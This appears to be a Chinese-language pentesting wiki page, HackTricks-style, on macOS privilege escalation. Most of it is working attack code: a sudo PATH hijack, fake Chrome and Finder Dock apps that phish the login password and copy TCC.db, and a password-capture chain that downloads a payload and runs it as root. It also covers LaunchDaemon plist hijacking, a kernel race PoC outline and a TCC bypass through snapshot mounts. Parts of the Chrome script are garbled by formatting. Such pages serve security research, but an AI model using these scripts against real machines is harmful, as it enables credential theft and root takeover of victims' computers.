macOS Privilege Escalation
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TCC Privilege Escalation
如果你是来寻找 TCC privilege escalation,请前往:
Linux Privesc
请注意,大多数关于影响 Linux/Unix 的 privilege escalation 的技巧也同样适用于 MacOS 机器。所以请参见:
User Interaction
Sudo Hijacking
你可以在原始的 Sudo Hijacking technique inside the Linux Privilege Escalation post 中找到该技术。
然而,macOS 在用户执行 sudo 时会保留该用户的 PATH。这意味着实现该攻击的另一种方法是hijack other binaries,即劫持受害者在running sudo 时仍会执行的其他二进制文件:
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
请注意,使用终端的用户很可能已经安装了 Homebrew。因此可以劫持 /opt/homebrew/bin 中的二进制文件。
Dock 冒充
使用一些 social engineering,你可以在 Dock 中**冒充(例如 Google Chrome)**并实际执行你自己的脚本:
一些建议:
- 检查 Dock 中是否有 Chrome,如果有,移除该条目并添加 假的 Chrome 条目(在相同位置)。
Chrome Dock 冒充脚本
```bash #!/bin/shTHIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
If you want to removed granted TCC permissions: > delete from access where client LIKE ‘%Chrome%’;
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<‘EOF’ #include <stdio.h> #include <stdlib.h> #include <unistd.h>
int main() { char *cmd = “open /Applications/Google\\ Chrome.app & “ “sleep 2; “ “osascript -e ‘tell application "Finder"’ -e ‘set homeFolder to path to home folder as string’ -e ‘set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias’ -e ‘set targetFolder to POSIX file "/tmp" as alias’ -e ‘duplicate file sourceFile to targetFolder with replacing’ -e ‘end tell’; “ “PASSWORD=$(osascript -e ‘Tell application "Finder"’ -e ‘Activate’ -e ‘set userPassword to text returned of (display dialog "Enter your password to update Google Chrome:" default answer "" with hidden answer buttons {"OK"} default button 1 with icon file "Applications:Google Chrome.app:Contents:Resources:app.icns")’ -e ‘end tell’ -e ‘return userPassword’); “ “echo $PASSWORD > /tmp/passwd.txt”; system(cmd); return 0; } EOF
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
Info.plist
cat << ‘EOF’ > /tmp/Google\ Chrome.app/Contents/Info.plist
Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
Add to Dock
defaults write com.apple.dock persistent-apps -array-add ‘
</details>
{{#endtab}}
{{#tab name="Finder Impersonation"}}
一些建议:
- 你 **无法将 Finder 从 Dock 中移除**,所以如果你打算把它添加到 Dock,可以把假的 Finder 放在真实的旁边。为此你需要 **在 Dock 数组的开头添加假的 Finder 条目**。
- 另一种选择是不将它放入 Dock,仅打开它;“Finder 请求控制 Finder” 并不会显得很奇怪。
- 另一种办法是让 Finder 真正要求输入密码以执行特权操作,从而通过一个可怕的对话框实现 **escalate to root without asking**:
- 让 Finder 将一个新的 **`sudo`** 文件复制到 **`/etc/pam.d`**(要求输入密码的提示会显示 “Finder wants to copy sudo”)
- 让 Finder 复制一个新的 **Authorization Plugin**(你可以控制文件名,因此要求密码的提示会显示 “Finder wants to copy Finder.bundle”)
<details>
<summary>Finder Dock 冒充脚本</summary>
```bash
#!/bin/sh
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
rm -rf /tmp/Finder.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources
# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo $PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
# Info.plist
cat << 'EOF' > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
Password prompt phishing + sudo reuse
Malware 常常滥用用户交互来 捕获一个可用于 sudo 的密码 并以编程方式重用它。常见流程:
- 使用
whoami确认已登录用户。 - 循环提示密码,直到
dscl . -authonly "$user" "$pw"返回成功。 - 将凭证缓存(例如
/tmp/.pass),并使用sudo -S(通过 stdin 提供密码)执行特权操作。
示例最小链:
user=$(whoami)
while true; do
read -s -p "Password: " pw; echo
dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update
窃取的密码随后可被重复使用,用于 通过 xattr -c 清除 Gatekeeper 隔离、复制 LaunchDaemons 或其他受权限保护的文件,并以非交互方式运行后续阶段。
更新的 macOS 特定 向量 (2023–2025)
已弃用的 AuthorizationExecuteWithPrivileges 仍可使用
AuthorizationExecuteWithPrivileges 在 10.7 中被弃用,但 在 Sonoma/Sequoia 上仍然可用。许多商业更新程序会用一个不受信任的路径调用 /usr/libexec/security_authtrampoline。如果目标二进制可被用户写入,你可以植入一个 trojan 并借用合法的提示:
# find vulnerable helper calls
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'
# replace expected helper
cp /tmp/payload /Users/me/Library/Application\ Support/Target/helper
chmod +x /Users/me/Library/Application\ Support/Target/helper
# when the app updates, the root prompt spawns your payload
将其与 masquerading tricks above 结合,以展示一个可信的密码对话框。
LaunchDaemon plist hijack (CVE-2025-24085 pattern)
如果 LaunchDaemon plist 或其 ProgramArguments 目标是 user-writable,你可以通过替换它然后强制 launchd 重新加载来提权:
sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
chmod 755 /Library/PrivilegedHelperTools/securemonitor
cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>Label</key><string>com.apple.securemonitor</string>
<key>ProgramArguments</key>
<array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
<key>RunAtLoad</key><true/>
</dict></plist>
PLIST
sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist
这与为 CVE-2025-24085 发布的利用模式相似,其中滥用了可写的 plist 来以 root 身份执行攻击者代码。
XNU SMR 凭证竞争 (CVE-2025-24118)
在 kauth_cred_proc_update 中的竞争 允许本地攻击者通过在多个线程中竞速 setgid()/getgid() 循环,直到发生撕裂的 memcpy,从而破坏只读凭证指针(proc_ro.p_ucred)。成功破坏会得到 uid 0 并获得内核内存访问。最小 PoC 结构:
// thread A
while (1) setgid(rand());
// thread B
while (1) getgid();
与 heap grooming 配合,将受控数据放置在指针重新读取的位置。在易受影响的构建上,这是一个可靠的 local kernel privesc,无需绕过 SIP。
通过 Migration Assistant 绕过 SIP (“Migraine”, CVE-2023-32369)
如果你已经获得 root 权限,SIP 仍然会阻止对系统位置的写入。Migraine 漏洞滥用 Migration Assistant 的 entitlement com.apple.rootless.install.heritable 来生成一个继承 SIP 绕过的子进程并覆盖受保护路径(例如 /System/Library/LaunchDaemons)。攻击链:
- 在运行的系统上获得 root。
- 通过构造的状态触发
systemmigrationd以运行攻击者控制的二进制文件。 - 使用继承的 entitlement 修补受 SIP 保护的文件,即使重启也能持久化。
NSPredicate/XPC expression smuggling (CVE-2023-23530/23531 漏洞类别)
多个 Apple 守护进程通过 XPC 接受 NSPredicate 对象,却只验证 expressionType 字段,而该字段可由攻击者控制。通过构造一个评估任意 selector 的 predicate,可以实现 code execution in root/system XPC services(例如 coreduetd、contextstored)。当与初始的 app sandbox escape 结合时,这会授予 privilege escalation without user prompts。寻找那些反序列化 predicates 且缺乏健壮 visitor 的 XPC endpoints。
TCC - Root Privilege Escalation
CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
任何用户(即使是无特权用户)都可以创建并挂载一个 Time Machine 快照,并访问该快照的所有文件。\ 唯一需要的特权 是用于执行操作的应用(例如 Terminal)被授予 Full Disk Access (FDA)(kTCCServiceSystemPolicyAllfiles),该权限需由管理员授予。
挂载 Time Machine 快照
```bash # Create snapshot tmutil localsnapshotList snapshots
tmutil listlocalsnapshots / Snapshots for disk /: com.apple.TimeMachine.2023-05-29-001751.local
Generate folder to mount it
cd /tmp # I didn it from this folder mkdir /tmp/snap
Mount it, “noowners” will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
Access it
ls /tmp/snap/Users/admin_user # This will work
</details>
更详细的说明可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
## 敏感信息
这可能有助于提升权限:
<a class="content_ref" href="macos-files-folders-and-binaries/macos-sensitive-locations.md"><span class="content_ref_label">macOS Sensitive Locations & Interesting Daemons</span></a>
## 参考资料
- [Microsoft "Migraine" SIP bypass (CVE-2023-32369)](https://www.microsoft.com/en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/)
- [CVE-2025-24118 SMR credential race write-up & PoC](https://github.com/jprx/CVE-2025-24118)
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